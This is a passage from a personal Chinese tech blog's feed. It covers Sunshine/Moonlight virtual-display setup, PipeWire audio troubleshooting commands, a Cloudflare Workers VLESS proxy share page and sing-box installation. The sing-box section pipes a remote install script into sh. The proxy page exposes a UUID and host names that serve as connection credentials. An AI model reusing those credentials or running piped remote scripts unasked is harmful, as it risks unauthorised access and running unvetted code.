&lt;li&gt;在 sunshine WebUI &lt;code&gt;Troubleshooting # Logs&lt;&#x2F;code&gt; 中找到&lt;code&gt;KMS Monitor List&lt;&#x2F;code&gt;，从中获取虚拟显示器接口对应的编号，将 sunshine WebUI 中&lt;code&gt;Configuration # Audio&#x2F;Video # Display number&lt;&#x2F;code&gt; 设置为对应编号&lt;&#x2F;li&gt;
&lt;li&gt;对Configuration中其他选项按需调整&lt;&#x2F;li&gt;
&lt;li&gt;保存并应用 sunshine 配置更改&lt;&#x2F;li&gt;
&lt;li&gt;如果系统使用ufw，需要开放sunshine WebUI &lt;code&gt;Configuration # Network&lt;&#x2F;code&gt;下显示的端口族以允许 moonlight client 端发起连接&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;moonlightpei-zhi&quot;&gt;moonlight配置&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;moonlight中可以调整视频分辨率、视频帧数等&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;2-problems&quot;&gt;2. problems&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;2-1-xu-ni-xian-shi-qi-suo-fang-dai-lai-de-moonlightduan-wen-ti&quot;&gt;2.1 虚拟显示器缩放带来的moonlight端问题&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;当前配置时发现，在系统设置界面对虚拟显示器进行设置如果调整了缩放（不是100%），在扩展屏上最大化edge、vscode、obsidian 等应用窗口会在 moonlight client 端会产生下图情况&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;当前解决方法是通过降低分辨率实现放大效果
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] Obsidian 笔记截图，副屏扩展配置步骤：获取显示器对应的 EDID 文件放入 &#x2F;usr&#x2F;lib&#x2F;firmware&#x2F;edid&#x2F;；在 grub 内核参数添加 drm.edid_firmware=HDMI-A-1:edid&#x2F;&amp;lt;文件名&amp;gt;，update-grub 后重启；电脑装 sunshine、平板装 moonlight，在 sunshine WebUI 用 KMS Monitor List 查虚拟显示器编号填入 Display number，ufw 放行端口。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;2-2-moonlightduan-hei-ping-wen-ti&quot;&gt;2.2 moonlight端黑屏问题&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本机环境：Ubuntu 24.04、linux 6.11.0、Wayland、iGPU(i915)+dGPU(GTX1650, Nvidia Driver 535.183.01)，偶尔遇到 moonlight client 端黑屏情况，log记录显示&lt;code&gt;Error: GL: &#x2F;build&#x2F;sunshine&#x2F;src&#x2F;platform&#x2F;linux&#x2F;graphics.cpp:557: [00000502]&lt;&#x2F;code&gt;，github上有类似的issue：[1]&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;LizardByte&#x2F;Sunshine&#x2F;issues&#x2F;2390&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;LizardByte&#x2F;Sunshine&#x2F;issues&#x2F;2390&lt;&#x2F;a&gt; 、[2]&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;LizardByte&#x2F;Sunshine&#x2F;issues&#x2F;3586&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;LizardByte&#x2F;Sunshine&#x2F;issues&#x2F;3586&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;尝试解决：根据 [1] 中的讨论，在 sunshine WebUI 中将 &lt;code&gt;Configuration # Advanced # Force a Specific Capture Method&lt;&#x2F;code&gt;指定为&lt;code&gt;KMS&lt;&#x2F;code&gt;，将&lt;code&gt;Configuration # Advanced # Force a Specific Encode&lt;&#x2F;code&gt;指定为&lt;code&gt;VA-API&lt;&#x2F;code&gt;或&lt;code&gt;Software&lt;&#x2F;code&gt;可以避免该情况&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Force a specific Capture Method&lt;&#x2F;code&gt;中，Nvidia + Wayland 下只有&lt;code&gt;KMS&lt;&#x2F;code&gt;选项可用，NvFBC 需要 nvlax patch 支持，其余不行&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Force a Specific Encoder&lt;&#x2F;code&gt;中，可行的有&lt;code&gt;VA-API&lt;&#x2F;code&gt;和&lt;code&gt;Software&lt;&#x2F;code&gt;，&lt;code&gt;NVIDIA NVENC&lt;&#x2F;code&gt;不可用（下面描述）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;VA-API&lt;&#x2F;code&gt;: 选择该项时需要通过&lt;code&gt;vainfo --display drm --device &#x2F;dev&#x2F;dri&#x2F;renderD*&lt;&#x2F;code&gt;命令找到哪个显卡设备支持 &lt;code&gt;VA-API&lt;&#x2F;code&gt;，然后在&lt;code&gt;Configuration # Audio&#x2F;Video # Adapter Name&lt;&#x2F;code&gt;中设置&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Software&lt;&#x2F;code&gt;: 通用选项，但可能带来编码速度和质量方面的影响&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;NVIDIA NVENC&lt;&#x2F;code&gt;: 选择此项运行时在sunshine的log中会显示&quot;Warning: Client requested reference frame limit, but encoder doesn&#x27;t support it!&quot;，moonlight client 端会因长时间无视频输出而中止串流&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Configuration&lt;&#x2F;code&gt;中对三类Encoder都提供了相关设置&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;2-3-sunshineyin-pin-shu-chu-wen-ti&quot;&gt;2.3 sunshine音频输出问题&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;刚实现副屏扩展时，接入副屏sunshine会自动将音频输出切换到sink-sunshine-stereo，在平板上播放声音；后续尝试解决时，发现音频输出自动切换仍然存在，但副屏设备没有了音频输出，这与github上的一个discussion(&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;loki-47-6F-64&#x2F;sunshine&#x2F;discussions&#x2F;173&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;loki-47-6F-64&#x2F;sunshine&#x2F;discussions&#x2F;173&lt;&#x2F;a&gt;)比较类似，但目前没法解决&lt;&#x2F;li&gt;
&lt;li&gt;可能出现所有通道没有实际的音频输出情况，需要系统重启解决&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;3-notes&quot;&gt;3. notes&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;系统每次重启时显示器接口对应编号顺序会变，可能需要在sunshine WebUI &lt;code&gt;Configuration # Audio&#x2F;Video # Display number&lt;&#x2F;code&gt; 中重新设置对应编号&lt;&#x2F;li&gt;
&lt;li&gt;如果在 x11 下使用，需要调整 &lt;code&gt;Configuration # Advanced # Force a Specific Capture Method&lt;&#x2F;code&gt;，一般设置为 &lt;code&gt;Autodected&lt;&#x2F;code&gt; 即可&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.w568w.eu.org&#x2F;spacedesk-on-linux.html&quot;&gt;https:&#x2F;&#x2F;www.w568w.eu.org&#x2F;spacedesk-on-linux.html&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;linux_gaming&#x2F;comments&#x2F;199ylqz&#x2F;streaming_with_sunshine_from_virtual_screens&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;linux_gaming&#x2F;comments&#x2F;199ylqz&#x2F;streaming_with_sunshine_from_virtual_screens&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;LizardByte&#x2F;Sunshine&#x2F;issues&#x2F;2390&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;LizardByte&#x2F;Sunshine&#x2F;issues&#x2F;2390&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;LizardByte&#x2F;Sunshine&#x2F;issues&#x2F;3586&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;LizardByte&#x2F;Sunshine&#x2F;issues&#x2F;3586&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;loki-47-6F-64&#x2F;sunshine&#x2F;discussions&#x2F;173&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;loki-47-6F-64&#x2F;sunshine&#x2F;discussions&#x2F;173&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>pipewire 音频控制</title>
        <published>2025-11-18T15:32:14+08:00</published>
        <updated>2025-11-18T15:32:14+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/pipewire 音频控制/"/>
        <id>https://vercel.juzhong.asia/2025/11/pipewire 音频控制/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/pipewire 音频控制/">&lt;h1 id=&quot;gnomeyin-pin-wen-ti-pai-cha&quot;&gt;gnome音频问题排查&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl --user --now disable pulseaudio.socket pulseaudio.service
systemctl --user status pipewire pipewire-pulse wireplumber pulseaudio 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null | grep -E &amp;quot;Active:|Loaded:&amp;quot;

# 列出 ALSA 识别的声卡
aplay -l

# 重新加载声卡模块（常见 Intel&amp;#x2F;Realtek）
sudo alsa force-reload

# 或手动加载（根据芯片选）：
sudo modprobe snd_hda_intel      # Intel HDA
sudo modprobe snd_hda_codec_realtek  # Realtek 编解码器常见问题补丁

# 检查内核是否屏蔽了声卡（罕见但致命）
grep -i &amp;quot;blacklist.*snd&amp;quot; &amp;#x2F;etc&amp;#x2F;modprobe.d&amp;#x2F;*
# 若有 → 注释掉相关行并 reboot

# 查看音频服务 sink（输出设备）
pactl info | grep &amp;quot;Default Sink&amp;quot;
pactl list short sinks

# 重置用户音频配置（安全！会重建 ~&amp;#x2F;.config&amp;#x2F;pipewire 等）
systemctl --user stop pipewire{,-pulse} wireplumber
rm -rf ~&amp;#x2F;.config&amp;#x2F;pipewire ~&amp;#x2F;.config&amp;#x2F;pulse
systemctl --user start pipewire{,-pulse} wireplumber

# 禁用“声音效果”干扰（某些主题&amp;#x2F;扩展冲突）
gsettings set org.gnome.desktop.sound event-sounds false
gsettings set org.gnome.desktop.sound input-feedback-sounds false

# PipeWire 日志（高亮关键错误）
journalctl --user-unit=pipewire --user-unit=wireplumber -f
# 或 PulseAudio（若仍在用）
pulseaudio -k; pulseaudio --start --log-level=debug
# 观察终端输出中的 ERROR&amp;#x2F;WARNING

# 播放测试音（设备 0,0 = 第一块声卡第一个设备）
speaker-test -D hw:0,0 -c 2 -t wav
# 若能听到“左…右…” → 硬件正常！问题在上层服务（Pulse&amp;#x2F;PipeWire&amp;#x2F;GNOME）
# 若无声 → 硬件&amp;#x2F;驱动层问题

sudo apt install pavucontrol   # Debian&amp;#x2F;Ubuntu
pavucontrol

sudo apt install linux-firmware  # Ubuntu&amp;#x2F;Debian

# 看 Codec 芯片型号
cat &amp;#x2F;proc&amp;#x2F;asound&amp;#x2F;cards
# 再看具体编解码器：
cat &amp;#x2F;proc&amp;#x2F;asound&amp;#x2F;card*&amp;#x2F;codec#*

# 用 lspci 确认硬件源头
lspci -v | grep -A 10 -i &amp;quot;audio\|multimedia&amp;quot;
# 只有 1 个 Audio device！证明是单物理声卡。

# HDMI 音频其实是 GPU 的一部分：
# HDMI 音频由 i915 显卡驱动 通过 snd_hda_intel 声卡驱动 输出（共享同一控制器）

# 如何「隐藏」不用的 HDMI 设备？（可选） 
sudo nano &amp;#x2F;etc&amp;#x2F;modprobe.d&amp;#x2F;disable-hdmi.conf
# 只启用 card 0 的 device 0（模拟输出），禁用其他 device
options snd_hda_intel index=0 enable=1
options snd_hda_intel index=1 enable=0  # 禁用 HDMI（若被识别为 card 1）
# 但你的 HDMI 和模拟在同一 card，需用 pin 配置 → 见前文 model= 方案

speaker-test -c 2 -D default    # 默认设备双声道测试
# 或指定设备：
speaker-test -c 2 -D hw:0,0      # hw:0,0 是 card 0, device 0
# 临时关闭 PulseAudio 再测（仅调试用）
# 退出 PulseAudio（--kill）
pulseaudio -k
# 立即测试（5秒内操作！否则 PulseAudio 会自动重启）
speaker-test -D hw:0,0 -c 2 -t wav -l 1
# 测完手动重启（或等它自启）
pulseaudio --start
# 播放一个测试音（走 PulseAudio）
echo &amp;quot;test&amp;quot; | festival --tts
# 或用 ALSA 的 plughw（允许混音，不冲突）
speaker-test -D plughw:0,0 -c 2 -t wav -l 1
aplay -D hw:0,3 &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;sounds&amp;#x2F;alsa&amp;#x2F;Front_Left.wav

# HDMI设备参数 
aplay -D hw:0,3 --dump-hw-params
# 强制 ALSA 探测 HDMI 音频（加 probe_mask）
# 创建配置文件
echo &amp;quot;options snd_hda_intel probe_mask=0xfff&amp;quot; | sudo tee &amp;#x2F;etc&amp;#x2F;modprobe.d&amp;#x2F;99-hdmi-audio.conf
# 重启（必须！）
sudo reboot

amixer -c 0 scontents

pactl list sink-inputs short
# 强制把 Chrome 流切回内置声卡
# 先获取 Chrome 的 sink-input index（如上面的 42）
# 再获取目标 sink 名称（如 alsa_output.pci-0000_00_1f.3.analog-stereo）
pactl move-sink-input 42 alsa_output.pci-0000_00_1f.3.analog-stereo
# 0 表示 取消挂起
pactl suspend-sink alsa_output.pci-0000_00_1f.3.analog-stereo 0

lsof &amp;#x2F;dev&amp;#x2F;snd&amp;#x2F;*
fuser -v &amp;#x2F;dev&amp;#x2F;snd&amp;#x2F;*
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cf-worker</title>
        <published>2025-11-14T00:00:00+00:00</published>
        <updated>2025-11-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/cf-worker/"/>
        <id>https://vercel.juzhong.asia/obsidian/cf-worker/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/cf-worker/">&lt;h2 id=&quot;pei-zhi-xiang-jie&quot;&gt;配置详解&lt;&#x2F;h2&gt;
&lt;p&gt;甬哥博客地址：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ygkkk.blogspot.com&quot;&gt;https:&#x2F;&#x2F;ygkkk.blogspot.com&lt;&#x2F;a&gt;
甬哥YouTube频道：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;@ygkkk&quot;&gt;https:&#x2F;&#x2F;www.youtube.com&#x2F;@ygkkk&lt;&#x2F;a&gt;
甬哥TG电报群组：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;t.me&#x2F;+jZHc6-A-1QQ5ZGVl&quot;&gt;https:&#x2F;&#x2F;t.me&#x2F;+jZHc6-A-1QQ5ZGVl&lt;&#x2F;a&gt;
甬哥TG电报频道：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;t.me&#x2F;+DkC9ZZUgEFQzMTZl&quot;&gt;https:&#x2F;&#x2F;t.me&#x2F;+DkC9ZZUgEFQzMTZl&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;正在使用的ProxyIP：cdn.xn--b6gac.eu.org&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;1-cf-workers-vless-wsjie-dian-fen-xiang-lian-jie-ru-xia&quot;&gt;1：CF-workers-vless+ws节点，分享链接如下：&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;节点类型&lt;&#x2F;th&gt;&lt;th&gt;分享链接&lt;&#x2F;th&gt;&lt;th&gt;复制&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;CF-workers-vless+ws&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;vless:&#x2F;&#x2F;49229a43-b8df-4fee-a11a-f592249c6a2d@www.visa.com.sg:8880&quot;&gt;vless:&#x2F;&#x2F;49229a43-b8df-4fee-a11a-f592249c6a2d@www.visa.com.sg:8880&lt;&#x2F;a&gt;?encryption=none&amp;amp;security=none&amp;amp;type=ws&amp;amp;host=tianya0630.tianya.com&amp;amp;path=%2F%3Fed%3D2560#tianya0630.tianya.com&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;注意：当前节点无需使用CF解析完成的域名，客户端选项的TLS选项必须关闭&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;ke-hu-duan-bi-yao-wen-ming-can-shu-ru-xia&quot;&gt;客户端必要文明参数如下：&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;客户端地址(address)：自定义的域名 或者 优选域名 或者 优选IP（反代IP必须与反代端口对应）&lt;&#x2F;li&gt;
&lt;li&gt;端口(port)：7个http端口可任意选择(80、8080、8880、2052、2082、2086、2095)&lt;&#x2F;li&gt;
&lt;li&gt;用户ID(uuid)：49229a43-b8df-4fee-a11a-f592249c6a2d&lt;&#x2F;li&gt;
&lt;li&gt;传输协议(network)：ws 或者 websocket&lt;&#x2F;li&gt;
&lt;li&gt;伪装域名(host)：tianya0630.tianya.com&lt;&#x2F;li&gt;
&lt;li&gt;路径(path)：&#x2F;?ed=2048&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;2-cf-workers-vless-ws-tls-huo-zhe-cf-pages-vless-ws-tlsjie-dian-fen-xiang-lian-jie-ru-xia&quot;&gt;2：CF-workers-vless+ws+tls 或者 CF-pages-vless+ws+tls节点，分享链接如下：&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;节点类型&lt;&#x2F;th&gt;&lt;th&gt;分享链接&lt;&#x2F;th&gt;&lt;th&gt;复制&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;CF-workers-vless+ws+tls 或者 CF-pages-vless+ws+tls&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;vless:&#x2F;&#x2F;49229a43-b8df-4fee-a11a-f592249c6a2d@www.visa.com.sg:8443&quot;&gt;vless:&#x2F;&#x2F;49229a43-b8df-4fee-a11a-f592249c6a2d@www.visa.com.sg:8443&lt;&#x2F;a&gt;?encryption=none&amp;amp;security=tls&amp;amp;type=ws&amp;amp;host=tianya0630.tianya.com&amp;amp;sni=tianya0630.moxuetianya.com&amp;amp;fp=random&amp;amp;path=%2F%3Fed%3D2560#tianya0630.tianya.com&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;注意：使用workers域名开启TLS，客户端必须开启切片功能&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;ke-hu-duan-bi-yao-wen-ming-can-shu-ru-xia-1&quot;&gt;客户端必要文明参数如下：&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;客户端地址(address)：自定义的域名 或者 优选域名 或者 优选IP（反代IP必须与反代端口对应）&lt;&#x2F;li&gt;
&lt;li&gt;端口(port)：6个https端口可任意选择(443、8443、2053、2083、2087、2096)&lt;&#x2F;li&gt;
&lt;li&gt;用户ID(uuid)：49229a43-b8df-4fee-a11a-f592249c6a2d&lt;&#x2F;li&gt;
&lt;li&gt;传输协议(network)：ws 或者 websocket&lt;&#x2F;li&gt;
&lt;li&gt;伪装域名(host)：tianya0630.tianya.com&lt;&#x2F;li&gt;
&lt;li&gt;路径(path)：&#x2F;?ed=2048&lt;&#x2F;li&gt;
&lt;li&gt;传输安全(TLS)：开启&lt;&#x2F;li&gt;
&lt;li&gt;跳过证书验证(allowlnsecure)：false&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cloudflare 地址和端口范围</title>
        <published>2025-11-14T00:45:38+08:00</published>
        <updated>2025-11-14T00:45:38+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/cloudflare 地址和端口范围/"/>
        <id>https://vercel.juzhong.asia/2025/11/cloudflare 地址和端口范围/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/cloudflare 地址和端口范围/">&lt;p&gt;cloudflare常用端口&lt;&#x2F;p&gt;
&lt;h2 id=&quot;http-ports-supported-by-cloudflare&quot;&gt;HTTP ports supported by Cloudflare&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;80 8080 8880 2052 2082 2086 2095&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;https-ports-supported-by-cloudflare&quot;&gt;HTTPS ports supported by Cloudflare&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;443 2053 2083 2087 2096 8443&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ports-supported-by-cloudflare-but-with-caching-disabled&quot;&gt;Ports supported by Cloudflare, but with caching disabled&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;2052 2053 2082 2083 2086 2087 2095 2096 8880 8443&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;https:&#x2F;&#x2F;developers.cloudflare.com&#x2F;fundamentals&#x2F;reference&#x2F;network-ports&#x2F;&lt;&#x2F;p&gt;
&lt;p&gt;https:&#x2F;&#x2F;www.cloudflare-cn.com&#x2F;ips&#x2F;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>sing-box 手动配置</title>
        <published>2025-11-12T23:10:15+08:00</published>
        <updated>2026-08-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/learn/sing-box 手动配置(deb安装)/"/>
        <id>https://vercel.juzhong.asia/2025/11/learn/sing-box 手动配置(deb安装)/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/learn/sing-box 手动配置(deb安装)/">&lt;h1 id=&quot;an-zhuang-sing-box-deb-cang-ku-install-sh-github-xia-zai&quot;&gt;安装sing-box（deb 仓库 &#x2F; install.sh &#x2F; GitHub 下载）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;guan-fang-deb-cang-ku-an-zhuang&quot;&gt;官方 deb 仓库安装&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo mkdir -p &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings &amp;amp;&amp;amp;
   sudo curl -fsSL https:&amp;#x2F;&amp;#x2F;sing-box.app&amp;#x2F;gpg.key -o &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings&amp;#x2F;sagernet.asc &amp;amp;&amp;amp;
   sudo chmod a+r &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings&amp;#x2F;sagernet.asc &amp;amp;&amp;amp;
   echo &amp;#x27;
Types: deb
URIs: https:&amp;#x2F;&amp;#x2F;deb.sagernet.org&amp;#x2F;
Suites: *
Components: *
Enabled: yes
Signed-By: &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;keyrings&amp;#x2F;sagernet.asc
&amp;#x27; | sudo tee &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;sources.list.d&amp;#x2F;sagernet.sources &amp;amp;&amp;amp;
   sudo apt-get update &amp;amp;&amp;amp;
   sudo apt-get install sing-box # or sing-box-beta
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;guan-fang-install-sh-jiao-ben&quot;&gt;官方 install.sh 脚本&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;curl -fsSL https:&amp;#x2F;&amp;#x2F;sing-box.app&amp;#x2F;install.sh | sh
curl -fsSL https:&amp;#x2F;&amp;#x2F;sing-box.app&amp;#x2F;install.sh | sh -s -- --version 1.12.12
sudo mkdir -p &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;sing-box&amp;#x2F; &amp;#x2F;etc&amp;#x2F;sing-box&amp;#x2F;
sudo systemctl start sing-box
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;github-xia-zai-an-zhuang-zhi-ding-ban-ben-ke-zi-ding-yi-mu-lu&quot;&gt;GitHub 下载安装（指定版本，可自定义目录）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 服务端：安装到 &amp;#x2F;opt&amp;#x2F;sing-box&amp;#x2F;
sudo mkdir -p &amp;#x2F;opt&amp;#x2F;sing-box&amp;#x2F;conf
wget https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;SagerNet&amp;#x2F;sing-box&amp;#x2F;releases&amp;#x2F;download&amp;#x2F;v1.12.9&amp;#x2F;sing-box-1.12.9-linux-amd64.tar.gz 
sudo tar xvzf sing-box-1.12.9-linux-amd64.tar.gz -C &amp;#x2F;opt&amp;#x2F;sing-box&amp;#x2F;
sudo cp &amp;#x2F;opt&amp;#x2F;sing-box&amp;#x2F;sing-box-1.12.9-linux-amd64&amp;#x2F;sing-box &amp;#x2F;opt&amp;#x2F;sing-box&amp;#x2F;sing-box

# 客户端：安装到用户目录 ~&amp;#x2F;.proxy&amp;#x2F;
mkdir -p ~&amp;#x2F;.proxy&amp;#x2F;conf
wget https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;SagerNet&amp;#x2F;sing-box&amp;#x2F;releases&amp;#x2F;download&amp;#x2F;v1.12.9&amp;#x2F;sing-box-1.12.9-linux-amd64.tar.gz 
tar xvzf sing-box-1.12.9-linux-amd64.tar.gz -C ~&amp;#x2F;.proxy&amp;#x2F;
cp ~&amp;#x2F;.proxy&amp;#x2F;sing-box-1.12.9-linux-amd64&amp;#x2F;sing-box ~&amp;#x2F;.proxy&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;使用 233boy 脚本生成配置时遇到了 systemd-unit 冲突，修改了 233boy 脚本中的 unit 位置为 &#x2F;etc&#x2F;（&#x2F;etc&#x2F;sing-box&#x2F;sh&#x2F;src&#x2F;systemd.sh）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;yuan-li-dai-li-xie-yi-x-chuan-shu-fang-shi-x-chuan-shu-an-quan&quot;&gt;原理：代理协议 × 传输方式 × 传输安全&lt;&#x2F;h1&gt;
&lt;p&gt;其实可以把处理需要代理的数据分成三个部分:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;最上层的第一个部分就是我们熟知的各种代理协议，比如 ss、vmess、vless、trojan、socks、anytls 等等&lt;&#x2F;li&gt;
&lt;li&gt;第二部分是传输方式，也就是上层经过代理协议处理的数据用什么方式传输，比如 raw 原始状态、ws、kcp、grpc、xhttp、httpupgrade、meek 等等
